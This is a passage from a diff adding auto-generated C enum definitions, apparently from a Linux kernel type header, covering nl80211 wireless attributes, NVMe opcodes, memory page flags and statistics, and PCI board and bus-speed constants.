NL80211_STA_INFO_ACK_SIGNAL_AVG = 35, + NL80211_STA_INFO_RX_MPDUS = 36, + NL80211_STA_INFO_FCS_ERROR_COUNT = 37, + NL80211_STA_INFO_CONNECTED_TO_GATE = 38, + NL80211_STA_INFO_TX_DURATION = 39, + NL80211_STA_INFO_AIRTIME_WEIGHT = 40, + NL80211_STA_INFO_AIRTIME_LINK_METRIC = 41, + NL80211_STA_INFO_ASSOC_AT_BOOTTIME = 42, + NL80211_STA_INFO_CONNECTED_TO_AS = 43, + __NL80211_STA_INFO_AFTER_LAST = 44, + NL80211_STA_INFO_MAX = 43, +}; + +enum nl80211_sta_wme_attr { + __NL80211_STA_WME_INVALID = 0, + NL80211_STA_WME_UAPSD_QUEUES = 1, + NL80211_STA_WME_MAX_SP = 2, + __NL80211_STA_WME_AFTER_LAST = 3, + NL80211_STA_WME_MAX = 2, +}; + +enum nl80211_survey_info { + __NL80211_SURVEY_INFO_INVALID = 0, + NL80211_SURVEY_INFO_FREQUENCY = 1, + NL80211_SURVEY_INFO_NOISE = 2, + NL80211_SURVEY_INFO_IN_USE = 3, + NL80211_SURVEY_INFO_TIME = 4, + NL80211_SURVEY_INFO_TIME_BUSY = 5, + NL80211_SURVEY_INFO_TIME_EXT_BUSY = 6, + NL80211_SURVEY_INFO_TIME_RX = 7, + NL80211_SURVEY_INFO_TIME_TX = 8, + NL80211_SURVEY_INFO_TIME_SCAN = 9, + NL80211_SURVEY_INFO_PAD = 10, + NL80211_SURVEY_INFO_TIME_BSS_RX = 11, + NL80211_SURVEY_INFO_FREQUENCY_OFFSET = 12, + __NL80211_SURVEY_INFO_AFTER_LAST = 13, + NL80211_SURVEY_INFO_MAX = 12, +}; + +enum nl80211_tdls_operation { + NL80211_TDLS_DISCOVERY_REQ = 0, + NL80211_TDLS_SETUP = 1, + NL80211_TDLS_TEARDOWN = 2, + NL80211_TDLS_ENABLE_LINK = 3, + NL80211_TDLS_DISABLE_LINK = 4, +}; + +enum nl80211_tid_config { + NL80211_TID_CONFIG_ENABLE = 0, + NL80211_TID_CONFIG_DISABLE = 1, +}; + +enum nl80211_tid_config_attr { + __NL80211_TID_CONFIG_ATTR_INVALID = 0, + NL80211_TID_CONFIG_ATTR_PAD = 1, + NL80211_TID_CONFIG_ATTR_VIF_SUPP = 2, + NL80211_TID_CONFIG_ATTR_PEER_SUPP = 3, + NL80211_TID_CONFIG_ATTR_OVERRIDE = 4, + NL80211_TID_CONFIG_ATTR_TIDS = 5, + NL80211_TID_CONFIG_ATTR_NOACK = 6, + NL80211_TID_CONFIG_ATTR_RETRY_SHORT = 7, + NL80211_TID_CONFIG_ATTR_RETRY_LONG = 8, + NL80211_TID_CONFIG_ATTR_AMPDU_CTRL = 9, + NL80211_TID_CONFIG_ATTR_RTSCTS_CTRL = 10, + NL80211_TID_CONFIG_ATTR_AMSDU_CTRL = 11, + NL80211_TID_CONFIG_ATTR_TX_RATE_TYPE = 12, + NL80211_TID_CONFIG_ATTR_TX_RATE = 13, + __NL80211_TID_CONFIG_ATTR_AFTER_LAST = 14, + NL80211_TID_CONFIG_ATTR_MAX = 13, +}; + +enum nl80211_tid_stats { + __NL80211_TID_STATS_INVALID = 0, + NL80211_TID_STATS_RX_MSDU = 1, + NL80211_TID_STATS_TX_MSDU = 2, + NL80211_TID_STATS_TX_MSDU_RETRIES = 3, + NL80211_TID_STATS_TX_MSDU_FAILED = 4, + NL80211_TID_STATS_PAD = 5, + NL80211_TID_STATS_TXQ_STATS = 6, + NUM_NL80211_TID_STATS = 7, + NL80211_TID_STATS_MAX = 6, +}; + +enum nl80211_timeout_reason { + NL80211_TIMEOUT_UNSPECIFIED = 0, + NL80211_TIMEOUT_SCAN = 1, + NL80211_TIMEOUT_AUTH = 2, + NL80211_TIMEOUT_ASSOC = 3, +}; + +enum nl80211_tx_power_setting { + NL80211_TX_POWER_AUTOMATIC = 0, + NL80211_TX_POWER_LIMITED = 1, + NL80211_TX_POWER_FIXED = 2, +}; + +enum nl80211_tx_rate_attributes { + __NL80211_TXRATE_INVALID = 0, + NL80211_TXRATE_LEGACY = 1, + NL80211_TXRATE_HT = 2, + NL80211_TXRATE_VHT = 3, + NL80211_TXRATE_GI = 4, + NL80211_TXRATE_HE = 5, + NL80211_TXRATE_HE_GI = 6, + NL80211_TXRATE_HE_LTF = 7, + __NL80211_TXRATE_AFTER_LAST = 8, + NL80211_TXRATE_MAX = 7, +}; + +enum nl80211_tx_rate_setting { + NL80211_TX_RATE_AUTOMATIC = 0, + NL80211_TX_RATE_LIMITED = 1, + NL80211_TX_RATE_FIXED = 2, +}; + +enum nl80211_txq_attr { + __NL80211_TXQ_ATTR_INVALID = 0, + NL80211_TXQ_ATTR_AC = 1, + NL80211_TXQ_ATTR_TXOP = 2, + NL80211_TXQ_ATTR_CWMIN = 3, + NL80211_TXQ_ATTR_CWMAX = 4, + NL80211_TXQ_ATTR_AIFS = 5, + __NL80211_TXQ_ATTR_AFTER_LAST = 6, + NL80211_TXQ_ATTR_MAX = 5, +}; + +enum nl80211_txq_stats { + __NL80211_TXQ_STATS_INVALID = 0, + NL80211_TXQ_STATS_BACKLOG_BYTES = 1, + NL80211_TXQ_STATS_BACKLOG_PACKETS = 2, + NL80211_TXQ_STATS_FLOWS = 3, + NL80211_TXQ_STATS_DROPS = 4, + NL80211_TXQ_STATS_ECN_MARKS = 5, + NL80211_TXQ_STATS_OVERLIMIT = 6, + NL80211_TXQ_STATS_OVERMEMORY = 7, + NL80211_TXQ_STATS_COLLISIONS = 8, + NL80211_TXQ_STATS_TX_BYTES = 9, + NL80211_TXQ_STATS_TX_PACKETS = 10, + NL80211_TXQ_STATS_MAX_FLOWS = 11, + NUM_NL80211_TXQ_STATS = 12, + NL80211_TXQ_STATS_MAX = 11, +}; + +enum nl80211_txrate_gi { + NL80211_TXRATE_DEFAULT_GI = 0, + NL80211_TXRATE_FORCE_SGI = 1, + NL80211_TXRATE_FORCE_LGI = 2, +}; + +enum nl80211_unsol_bcast_probe_resp_attributes { + __NL80211_UNSOL_BCAST_PROBE_RESP_ATTR_INVALID = 0, + NL80211_UNSOL_BCAST_PROBE_RESP_ATTR_INT = 1, + NL80211_UNSOL_BCAST_PROBE_RESP_ATTR_TMPL = 2, + __NL80211_UNSOL_BCAST_PROBE_RESP_ATTR_LAST = 3, + NL80211_UNSOL_BCAST_PROBE_RESP_ATTR_MAX = 2, +}; + +enum nl80211_user_reg_hint_type { + NL80211_USER_REG_HINT_USER = 0, + NL80211_USER_REG_HINT_CELL_BASE = 1, + NL80211_USER_REG_HINT_INDOOR = 2, +}; + +enum nl80211_wiphy_radio_attrs { + __NL80211_WIPHY_RADIO_ATTR_INVALID = 0, + NL80211_WIPHY_RADIO_ATTR_INDEX = 1, + NL80211_WIPHY_RADIO_ATTR_FREQ_RANGE = 2, + NL80211_WIPHY_RADIO_ATTR_INTERFACE_COMBINATION = 3, + __NL80211_WIPHY_RADIO_ATTR_LAST = 4, + NL80211_WIPHY_RADIO_ATTR_MAX = 3, +}; + +enum nl80211_wiphy_radio_freq_range { + __NL80211_WIPHY_RADIO_FREQ_ATTR_INVALID = 0, + NL80211_WIPHY_RADIO_FREQ_ATTR_START = 1, + NL80211_WIPHY_RADIO_FREQ_ATTR_END = 2, + __NL80211_WIPHY_RADIO_FREQ_ATTR_LAST = 3, + NL80211_WIPHY_RADIO_FREQ_ATTR_MAX = 2, +}; + +enum nl80211_wmm_rule { + __NL80211_WMMR_INVALID = 0, + NL80211_WMMR_CW_MIN = 1, + NL80211_WMMR_CW_MAX = 2, + NL80211_WMMR_AIFSN = 3, + NL80211_WMMR_TXOP = 4, + __NL80211_WMMR_LAST = 5, + NL80211_WMMR_MAX = 4, +}; + +enum nl80211_wowlan_tcp_attrs { + __NL80211_WOWLAN_TCP_INVALID = 0, + NL80211_WOWLAN_TCP_SRC_IPV4 = 1, + NL80211_WOWLAN_TCP_DST_IPV4 = 2, + NL80211_WOWLAN_TCP_DST_MAC = 3, + NL80211_WOWLAN_TCP_SRC_PORT = 4, + NL80211_WOWLAN_TCP_DST_PORT = 5, + NL80211_WOWLAN_TCP_DATA_PAYLOAD = 6, + NL80211_WOWLAN_TCP_DATA_PAYLOAD_SEQ = 7, + NL80211_WOWLAN_TCP_DATA_PAYLOAD_TOKEN = 8, + NL80211_WOWLAN_TCP_DATA_INTERVAL = 9, + NL80211_WOWLAN_TCP_WAKE_PAYLOAD = 10, + NL80211_WOWLAN_TCP_WAKE_MASK = 11, + NUM_NL80211_WOWLAN_TCP = 12, + MAX_NL80211_WOWLAN_TCP = 11, +}; + +enum nl80211_wowlan_triggers { + __NL80211_WOWLAN_TRIG_INVALID = 0, + NL80211_WOWLAN_TRIG_ANY = 1, + NL80211_WOWLAN_TRIG_DISCONNECT = 2, + NL80211_WOWLAN_TRIG_MAGIC_PKT = 3, + NL80211_WOWLAN_TRIG_PKT_PATTERN = 4, + NL80211_WOWLAN_TRIG_GTK_REKEY_SUPPORTED = 5, + NL80211_WOWLAN_TRIG_GTK_REKEY_FAILURE = 6, + NL80211_WOWLAN_TRIG_EAP_IDENT_REQUEST = 7, + NL80211_WOWLAN_TRIG_4WAY_HANDSHAKE = 8, + NL80211_WOWLAN_TRIG_RFKILL_RELEASE = 9, + NL80211_WOWLAN_TRIG_WAKEUP_PKT_80211 = 10, + NL80211_WOWLAN_TRIG_WAKEUP_PKT_80211_LEN = 11, + NL80211_WOWLAN_TRIG_WAKEUP_PKT_8023 = 12, + NL80211_WOWLAN_TRIG_WAKEUP_PKT_8023_LEN = 13, + NL80211_WOWLAN_TRIG_TCP_CONNECTION = 14, + NL80211_WOWLAN_TRIG_WAKEUP_TCP_MATCH = 15, + NL80211_WOWLAN_TRIG_WAKEUP_TCP_CONNLOST = 16, + NL80211_WOWLAN_TRIG_WAKEUP_TCP_NOMORETOKENS = 17, + NL80211_WOWLAN_TRIG_NET_DETECT = 18, + NL80211_WOWLAN_TRIG_NET_DETECT_RESULTS = 19, + NL80211_WOWLAN_TRIG_UNPROTECTED_DEAUTH_DISASSOC = 20, + NUM_NL80211_WOWLAN_TRIG = 21, + MAX_NL80211_WOWLAN_TRIG = 20, +}; + +enum nla_policy_validation { + NLA_VALIDATE_NONE = 0, + NLA_VALIDATE_RANGE = 1, + NLA_VALIDATE_RANGE_WARN_TOO_LONG = 2, + NLA_VALIDATE_MIN = 3, + NLA_VALIDATE_MAX = 4, + NLA_VALIDATE_MASK = 5, + NLA_VALIDATE_RANGE_PTR = 6, + NLA_VALIDATE_FUNCTION = 7, +}; + +enum nlmsgerr_attrs { + NLMSGERR_ATTR_UNUSED = 0, + NLMSGERR_ATTR_MSG = 1, + NLMSGERR_ATTR_OFFS = 2, + NLMSGERR_ATTR_COOKIE = 3, + NLMSGERR_ATTR_POLICY = 4, + NLMSGERR_ATTR_MISS_TYPE = 5, + NLMSGERR_ATTR_MISS_NEST = 6, + __NLMSGERR_ATTR_MAX = 7, + NLMSGERR_ATTR_MAX = 6, +}; + +enum nmi_states { + NMI_NOT_RUNNING = 0, + NMI_EXECUTING = 1, + NMI_LATCHED = 2, +}; + +enum node_stat_item { + NR_LRU_BASE = 0, + NR_INACTIVE_ANON = 0, + NR_ACTIVE_ANON = 1, + NR_INACTIVE_FILE = 2, + NR_ACTIVE_FILE = 3, + NR_UNEVICTABLE = 4, + NR_SLAB_RECLAIMABLE_B = 5, + NR_SLAB_UNRECLAIMABLE_B = 6, + NR_ISOLATED_ANON = 7, + NR_ISOLATED_FILE = 8, + WORKINGSET_NODES = 9, + WORKINGSET_REFAULT_BASE = 10, + WORKINGSET_REFAULT_ANON = 10, + WORKINGSET_REFAULT_FILE = 11, + WORKINGSET_ACTIVATE_BASE = 12, + WORKINGSET_ACTIVATE_ANON = 12, + WORKINGSET_ACTIVATE_FILE = 13, + WORKINGSET_RESTORE_BASE = 14, + WORKINGSET_RESTORE_ANON = 14, + WORKINGSET_RESTORE_FILE = 15, + WORKINGSET_NODERECLAIM = 16, + NR_ANON_MAPPED = 17, + NR_FILE_MAPPED = 18, + NR_FILE_PAGES = 19, + NR_FILE_DIRTY = 20, + NR_WRITEBACK = 21, + NR_WRITEBACK_TEMP = 22, + NR_SHMEM = 23, + NR_SHMEM_THPS = 24, + NR_SHMEM_PMDMAPPED = 25, + NR_FILE_THPS = 26, + NR_FILE_PMDMAPPED = 27, + NR_ANON_THPS = 28, + NR_VMSCAN_WRITE = 29, + NR_VMSCAN_IMMEDIATE = 30, + NR_DIRTIED = 31, + NR_WRITTEN = 32, + NR_THROTTLED_WRITTEN = 33, + NR_KERNEL_MISC_RECLAIMABLE = 34, + NR_FOLL_PIN_ACQUIRED = 35, + NR_FOLL_PIN_RELEASED = 36, + NR_KERNEL_STACK_KB = 37, + NR_PAGETABLE = 38, + NR_SECONDARY_PAGETABLE = 39, + NR_SWAPCACHE = 40, + PGDEMOTE_KSWAPD = 41, + PGDEMOTE_DIRECT = 42, + PGDEMOTE_KHUGEPAGED = 43, + NR_VM_NODE_STAT_ITEMS = 44, +}; + +enum node_states { + N_POSSIBLE = 0, + N_ONLINE = 1, + N_NORMAL_MEMORY = 2, + N_HIGH_MEMORY = 2, + N_MEMORY = 3, + N_CPU = 4, + N_GENERIC_INITIATOR = 5, + NR_NODE_STATES = 6, +}; + +enum notify_state { + SECCOMP_NOTIFY_INIT = 0, + SECCOMP_NOTIFY_SENT = 1, + SECCOMP_NOTIFY_REPLIED = 2, +}; + +enum numa_stat_item { + NUMA_HIT = 0, + NUMA_MISS = 1, + NUMA_FOREIGN = 2, + NUMA_INTERLEAVE_HIT = 3, + NUMA_LOCAL = 4, + NUMA_OTHER = 5, + NR_VM_NUMA_EVENT_ITEMS = 6, +}; + +enum numa_topology_type { + NUMA_DIRECT = 0, + NUMA_GLUELESS_MESH = 1, + NUMA_BACKPLANE = 2, +}; + +enum nvm_offsets { + SUBSYSTEM_ID = 10, + HW_ADDR = 21, + NVM_SW_SECTION = 448, + NVM_VERSION = 0, + RADIO_CFG = 1, + SKU = 2, + N_HW_ADDRS = 3, + NVM_CHANNELS = 32, + NVM_CHANNELS_SDP = 0, +}; + +enum nvm_sku_bits { + NVM_SKU_CAP_BAND_24GHZ = 1, + NVM_SKU_CAP_BAND_52GHZ = 2, + NVM_SKU_CAP_11N_ENABLE = 4, + NVM_SKU_CAP_11AC_ENABLE = 8, + NVM_SKU_CAP_MIMO_DISABLE = 32, +}; + +enum nvme_admin_opcode { + nvme_admin_delete_sq = 0, + nvme_admin_create_sq = 1, + nvme_admin_get_log_page = 2, + nvme_admin_delete_cq = 4, + nvme_admin_create_cq = 5, + nvme_admin_identify = 6, + nvme_admin_abort_cmd = 8, + nvme_admin_set_features = 9, + nvme_admin_get_features = 10, + nvme_admin_async_event = 12, + nvme_admin_ns_mgmt = 13, + nvme_admin_activate_fw = 16, + nvme_admin_download_fw = 17, + nvme_admin_dev_self_test = 20, + nvme_admin_ns_attach = 21, + nvme_admin_keep_alive = 24, + nvme_admin_directive_send = 25, + nvme_admin_directive_recv = 26, + nvme_admin_virtual_mgmt = 28, + nvme_admin_nvme_mi_send = 29, + nvme_admin_nvme_mi_recv = 30, + nvme_admin_dbbuf = 124, + nvme_admin_format_nvm = 128, + nvme_admin_security_send = 129, + nvme_admin_security_recv = 130, + nvme_admin_sanitize_nvm = 132, + nvme_admin_get_lba_status = 134, + nvme_admin_vendor_start = 192, +}; + +enum nvme_ctrl_attr { + NVME_CTRL_ATTR_HID_128_BIT = 1, + NVME_CTRL_ATTR_TBKAS = 64, + NVME_CTRL_ATTR_ELBAS = 32768, +}; + +enum nvme_ctrl_flags { + NVME_CTRL_FAILFAST_EXPIRED = 0, + NVME_CTRL_ADMIN_Q_STOPPED = 1, + NVME_CTRL_STARTED_ONCE = 2, + NVME_CTRL_STOPPED = 3, + NVME_CTRL_SKIP_ID_CNS_CS = 4, + NVME_CTRL_DIRTY_CAPABILITY = 5, + NVME_CTRL_FROZEN = 6, +}; + +enum nvme_ctrl_state { + NVME_CTRL_NEW = 0, + NVME_CTRL_LIVE = 1, + NVME_CTRL_RESETTING = 2, + NVME_CTRL_CONNECTING = 3, + NVME_CTRL_DELETING = 4, + NVME_CTRL_DELETING_NOIO = 5, + NVME_CTRL_DEAD = 6, +}; + +enum nvme_ctrl_type { + NVME_CTRL_IO = 1, + NVME_CTRL_DISC = 2, + NVME_CTRL_ADMIN = 3, +}; + +enum nvme_dctype { + NVME_DCTYPE_NOT_REPORTED = 0, + NVME_DCTYPE_DDC = 1, + NVME_DCTYPE_CDC = 2, +}; + +enum nvme_disposition { + COMPLETE = 0, + RETRY = 1, + FAILOVER = 2, + AUTHENTICATE = 3, +}; + +enum nvme_eds { + NVME_EXTENDED_DATA_STRUCT = 1, +}; + +enum nvme_ns_features { + NVME_NS_EXT_LBAS = 1, + NVME_NS_METADATA_SUPPORTED = 2, + NVME_NS_DEAC = 4, +}; + +enum nvme_opcode { + nvme_cmd_flush = 0, + nvme_cmd_write = 1, + nvme_cmd_read = 2, + nvme_cmd_write_uncor = 4, + nvme_cmd_compare = 5, + nvme_cmd_write_zeroes = 8, + nvme_cmd_dsm = 9, + nvme_cmd_verify = 12, + nvme_cmd_resv_register = 13, + nvme_cmd_resv_report = 14, + nvme_cmd_resv_acquire = 17, + nvme_cmd_resv_release = 21, + nvme_cmd_zone_mgmt_send = 121, + nvme_cmd_zone_mgmt_recv = 122, + nvme_cmd_zone_append = 125, + nvme_cmd_vendor_start = 128, +}; + +enum nvme_pr_type { + NVME_PR_WRITE_EXCLUSIVE = 1, + NVME_PR_EXCLUSIVE_ACCESS = 2, + NVME_PR_WRITE_EXCLUSIVE_REG_ONLY = 3, + NVME_PR_EXCLUSIVE_ACCESS_REG_ONLY = 4, + NVME_PR_WRITE_EXCLUSIVE_ALL_REGS = 5, + NVME_PR_EXCLUSIVE_ACCESS_ALL_REGS = 6, +}; + +enum nvme_quirks { + NVME_QUIRK_STRIPE_SIZE = 1, + NVME_QUIRK_IDENTIFY_CNS = 2, + NVME_QUIRK_DEALLOCATE_ZEROES = 4, + NVME_QUIRK_DELAY_BEFORE_CHK_RDY = 8, + NVME_QUIRK_NO_APST = 16, + NVME_QUIRK_NO_DEEPEST_PS = 32, + NVME_QUIRK_QDEPTH_ONE = 64, + NVME_QUIRK_MEDIUM_PRIO_SQ = 128, + NVME_QUIRK_IGNORE_DEV_SUBNQN = 256, + NVME_QUIRK_DISABLE_WRITE_ZEROES = 512, + NVME_QUIRK_SIMPLE_SUSPEND = 1024, + NVME_QUIRK_SINGLE_VECTOR = 2048, + NVME_QUIRK_128_BYTES_SQES = 4096, + NVME_QUIRK_SHARED_TAGS = 8192, + NVME_QUIRK_NO_TEMP_THRESH_CHANGE = 16384, + NVME_QUIRK_NO_NS_DESC_LIST = 32768, + NVME_QUIRK_DMA_ADDRESS_BITS_48 = 65536, + NVME_QUIRK_SKIP_CID_GEN = 131072, + NVME_QUIRK_BOGUS_NID = 262144, + NVME_QUIRK_NO_SECONDARY_TEMP_THRESH = 524288, + NVME_QUIRK_FORCE_NO_SIMPLE_SUSPEND = 1048576, + NVME_QUIRK_BROKEN_MSI = 2097152, +}; + +enum nvme_subsys_type { + NVME_NQN_DISC = 1, + NVME_NQN_NVME = 2, + NVME_NQN_CURR = 3, +}; + +enum nvme_zone_mgmt_action { + NVME_ZONE_CLOSE = 1, + NVME_ZONE_FINISH = 2, + NVME_ZONE_OPEN = 3, + NVME_ZONE_RESET = 4, + NVME_ZONE_OFFLINE = 5, + NVME_ZONE_SET_DESC_EXT = 16, +}; + +enum nvmem_type { + NVMEM_TYPE_UNKNOWN = 0, + NVMEM_TYPE_EEPROM = 1, + NVMEM_TYPE_OTP = 2, + NVMEM_TYPE_BATTERY_BACKED = 3, + NVMEM_TYPE_FRAM = 4, +}; + +enum nvmf_capsule_command { + nvme_fabrics_type_property_set = 0, + nvme_fabrics_type_connect = 1, + nvme_fabrics_type_property_get = 4, + nvme_fabrics_type_auth_send = 5, + nvme_fabrics_type_auth_receive = 6, +}; + +enum nvmf_fabrics_opcode { + nvme_fabrics_command = 127, +}; + +enum objext_flags { + OBJEXTS_ALLOC_FAIL = 4, + __NR_OBJEXTS_FLAGS = 8, +}; + +enum ocb_deferred_task_flags { + OCB_WORK_HOUSEKEEPING = 0, +}; + +enum offload_act_command { + FLOW_ACT_REPLACE = 0, + FLOW_ACT_DESTROY = 1, + FLOW_ACT_STATS = 2, +}; + +enum oom_constraint { + CONSTRAINT_NONE = 0, + CONSTRAINT_CPUSET = 1, + CONSTRAINT_MEMORY_POLICY = 2, + CONSTRAINT_MEMCG = 3, +}; + +enum owner_state { + OWNER_NULL = 1, + OWNER_WRITER = 2, + OWNER_READER = 4, + OWNER_NONSPINNABLE = 8, +}; + +enum packet_sock_flags { + PACKET_SOCK_ORIGDEV = 0, + PACKET_SOCK_AUXDATA = 1, + PACKET_SOCK_TX_HAS_OFF = 2, + PACKET_SOCK_TP_LOSS = 3, + PACKET_SOCK_RUNNING = 4, + PACKET_SOCK_PRESSURE = 5, + PACKET_SOCK_QDISC_BYPASS = 6, +}; + +enum page_cache_mode { + _PAGE_CACHE_MODE_WB = 0, + _PAGE_CACHE_MODE_WC = 1, + _PAGE_CACHE_MODE_UC_MINUS = 2, + _PAGE_CACHE_MODE_UC = 3, + _PAGE_CACHE_MODE_WT = 4, + _PAGE_CACHE_MODE_WP = 5, + _PAGE_CACHE_MODE_NUM = 8, +}; + +enum page_memcg_data_flags { + MEMCG_DATA_OBJEXTS = 1, + MEMCG_DATA_KMEM = 2, + __NR_MEMCG_DATA_FLAGS = 4, +}; + +enum page_size_enum { + __PAGE_SIZE = 4096, +}; + +enum page_walk_action { + ACTION_SUBTREE = 0, + ACTION_CONTINUE = 1, + ACTION_AGAIN = 2, +}; + +enum page_walk_lock { + PGWALK_RDLOCK = 0, + PGWALK_WRLOCK = 1, + PGWALK_WRLOCK_VERIFY = 2, +}; + +enum pageblock_bits { + PB_migrate = 0, + PB_migrate_end = 2, + PB_migrate_skip = 3, + NR_PAGEBLOCK_BITS = 4, +}; + +enum pageflags { + PG_locked = 0, + PG_writeback = 1, + PG_referenced = 2, + PG_uptodate = 3, + PG_dirty = 4, + PG_lru = 5, + PG_head = 6, + PG_waiters = 7, + PG_active = 8, + PG_workingset = 9, + PG_owner_priv_1 = 10, + PG_owner_2 = 11, + PG_arch_1 = 12, + PG_reserved = 13, + PG_private = 14, + PG_private_2 = 15, + PG_reclaim = 16, + PG_swapbacked = 17, + PG_unevictable = 18, + PG_mlocked = 19, + PG_arch_2 = 20, + __NR_PAGEFLAGS = 21, + PG_readahead = 16, + PG_swapcache = 10, + PG_checked = 10, + PG_anon_exclusive = 11, + PG_mappedtodisk = 11, + PG_fscache = 15, + PG_pinned = 10, + PG_savepinned = 4, + PG_foreign = 10, + PG_xen_remapped = 10, + PG_isolated = 16, + PG_reported = 3, + PG_has_hwpoisoned = 8, + PG_large_rmappable = 9, + PG_partially_mapped = 16, +}; + +enum pagetype { + PGTY_buddy = 240, + PGTY_offline = 241, + PGTY_table = 242, + PGTY_guard = 243, + PGTY_hugetlb = 244, + PGTY_slab = 245, + PGTY_zsmalloc = 246, + PGTY_unaccepted = 247, + PGTY_mapcount_underflow = 255, +}; + +enum partition_cmd { + partcmd_enable = 0, + partcmd_enablei = 1, + partcmd_disable = 2, + partcmd_update = 3, + partcmd_invalidate = 4, +}; + +enum passtype { + PASS_SCAN = 0, + PASS_REVOKE = 1, + PASS_REPLAY = 2, +}; + +enum pce_status { + PCE_STATUS_NONE = 0, + PCE_STATUS_ACQUIRED = 1, + PCE_STATUS_PREPARED = 2, + PCE_STATUS_ENABLED = 3, + PCE_STATUS_ERROR = 4, +}; + +enum pci_bar_type { + pci_bar_unknown = 0, + pci_bar_io = 1, + pci_bar_mem32 = 2, + pci_bar_mem64 = 3, +}; + +enum pci_bf_sort_state { + pci_bf_sort_default = 0, + pci_force_nobf = 1, + pci_force_bf = 2, + pci_dmi_bf = 3, +}; + +enum pci_board_num_t { + pbn_default = 0, + pbn_b0_1_115200 = 1, + pbn_b0_2_115200 = 2, + pbn_b0_4_115200 = 3, + pbn_b0_5_115200 = 4, + pbn_b0_8_115200 = 5, + pbn_b0_1_921600 = 6, + pbn_b0_2_921600 = 7, + pbn_b0_4_921600 = 8, + pbn_b0_2_1130000 = 9, + pbn_b0_4_1152000 = 10, + pbn_b0_4_1250000 = 11, + pbn_b0_2_1843200 = 12, + pbn_b0_4_1843200 = 13, + pbn_b0_1_15625000 = 14, + pbn_b0_bt_1_115200 = 15, + pbn_b0_bt_2_115200 = 16, + pbn_b0_bt_4_115200 = 17, + pbn_b0_bt_8_115200 = 18, + pbn_b0_bt_1_460800 = 19, + pbn_b0_bt_2_460800 = 20, + pbn_b0_bt_4_460800 = 21, + pbn_b0_bt_1_921600 = 22, + pbn_b0_bt_2_921600 = 23, + pbn_b0_bt_4_921600 = 24, + pbn_b0_bt_8_921600 = 25, + pbn_b1_1_115200 = 26, + pbn_b1_2_115200 = 27, + pbn_b1_4_115200 = 28, + pbn_b1_8_115200 = 29, + pbn_b1_16_115200 = 30, + pbn_b1_1_921600 = 31, + pbn_b1_2_921600 = 32, + pbn_b1_4_921600 = 33, + pbn_b1_8_921600 = 34, + pbn_b1_2_1250000 = 35, + pbn_b1_bt_1_115200 = 36, + pbn_b1_bt_2_115200 = 37, + pbn_b1_bt_4_115200 = 38, + pbn_b1_bt_2_921600 = 39, + pbn_b1_1_1382400 = 40, + pbn_b1_2_1382400 = 41, + pbn_b1_4_1382400 = 42, + pbn_b1_8_1382400 = 43, + pbn_b2_1_115200 = 44, + pbn_b2_2_115200 = 45, + pbn_b2_4_115200 = 46, + pbn_b2_8_115200 = 47, + pbn_b2_1_460800 = 48, + pbn_b2_4_460800 = 49, + pbn_b2_8_460800 = 50, + pbn_b2_16_460800 = 51, + pbn_b2_1_921600 = 52, + pbn_b2_4_921600 = 53, + pbn_b2_8_921600 = 54, + pbn_b2_8_1152000 = 55, + pbn_b2_bt_1_115200 = 56, + pbn_b2_bt_2_115200 = 57, + pbn_b2_bt_4_115200 = 58, + pbn_b2_bt_2_921600 = 59, + pbn_b2_bt_4_921600 = 60, + pbn_b3_2_115200 = 61, + pbn_b3_4_115200 = 62, + pbn_b3_8_115200 = 63, + pbn_b4_bt_2_921600 = 64, + pbn_b4_bt_4_921600 = 65, + pbn_b4_bt_8_921600 = 66, + pbn_panacom = 67, + pbn_panacom2 = 68, + pbn_panacom4 = 69, + pbn_plx_romulus = 70, + pbn_oxsemi = 71, + pbn_oxsemi_1_15625000 = 72, + pbn_oxsemi_2_15625000 = 73, + pbn_oxsemi_4_15625000 = 74, + pbn_oxsemi_8_15625000 = 75, + pbn_intel_i960 = 76, + pbn_sgi_ioc3 = 77, + pbn_computone_4 = 78, + pbn_computone_6 = 79, + pbn_computone_8 = 80, + pbn_sbsxrsio = 81, + pbn_pasemi_1682M = 82, + pbn_ni8430_2 = 83, + pbn_ni8430_4 = 84, + pbn_ni8430_8 = 85, + pbn_ni8430_16 = 86, + pbn_ADDIDATA_PCIe_1_3906250 = 87, + pbn_ADDIDATA_PCIe_2_3906250 = 88, + pbn_ADDIDATA_PCIe_4_3906250 = 89, + pbn_ADDIDATA_PCIe_8_3906250 = 90, + pbn_ce4100_1_115200 = 91, + pbn_omegapci = 92, + pbn_NETMOS9900_2s_115200 = 93, + pbn_brcm_trumanage = 94, + pbn_fintek_4 = 95, + pbn_fintek_8 = 96, + pbn_fintek_12 = 97, + pbn_fintek_F81504A = 98, + pbn_fintek_F81508A = 99, + pbn_fintek_F81512A = 100, + pbn_wch382_2 = 101, + pbn_wch384_4 = 102, + pbn_wch384_8 = 103, + pbn_sunix_pci_1s = 104, + pbn_sunix_pci_2s = 105, + pbn_sunix_pci_4s = 106, + pbn_sunix_pci_8s = 107, + pbn_sunix_pci_16s = 108, + pbn_titan_1_4000000 = 109, + pbn_titan_2_4000000 = 110, + pbn_titan_4_4000000 = 111, + pbn_titan_8_4000000 = 112, + pbn_moxa_2 = 113, + pbn_moxa_4 = 114, + pbn_moxa_8 = 115, +}; + +enum pci_bus_flags { + PCI_BUS_FLAGS_NO_MSI = 1, + PCI_BUS_FLAGS_NO_MMRBC = 2, + PCI_BUS_FLAGS_NO_AERSID = 4, + PCI_BUS_FLAGS_NO_EXTCFG = 8, +}; + +enum pci_bus_speed { + PCI_SPEED_33MHz = 0, + PCI_SPEED_66MHz = 1, + PCI_SPEED_66MHz_PCIX = 2, + PCI_SPEED_100MHz_PCIX = 3, + PCI_SPEED_133MHz_PCIX = 4, + PCI_SPEED_66MHz_PCIX_ECC = 5, + PCI_SPEED_100MHz_PCIX_ECC = 6, + PCI_SPEED_133MHz_PCIX_ECC = 7, + PCI_SPEED_66MHz_PCIX_266 = 9, + PCI_SPEED_100MHz_PCIX_266 = 10, + PCI_SPEED_133MHz_PCIX_266 = 11, + AGP_UNKNOWN = 12, + AGP_1X = 13, + AGP_2X = 14, + AGP_4X = 15, + AGP_8X = 16, + PCI_SPEED_66MHz_PCIX_533 = 17, + PCI_SPEED_100MHz_PCIX_533 = 18, + PCI_SPEED_133MHz_PCIX_533 = 19, + PCIE_SPEED_2_5GT = 20, + PCIE_SPEED_5_0GT = 21, + PCIE_SPEED_8_0GT = 22, + PCIE_SPEED_16_0GT = 23, + PCIE_SPEED_32_0GT = 24, + PCIE_SPEED_64_0GT = 25, + PCI_SPEED_UNKNOWN = 255, +}; + +enum pci_dev_flags { + PCI_DEV_FLAGS_MSI_INTX_DISABLE_BUG = 1, + PCI_DEV_FLAGS_NO_D3 = 2, + 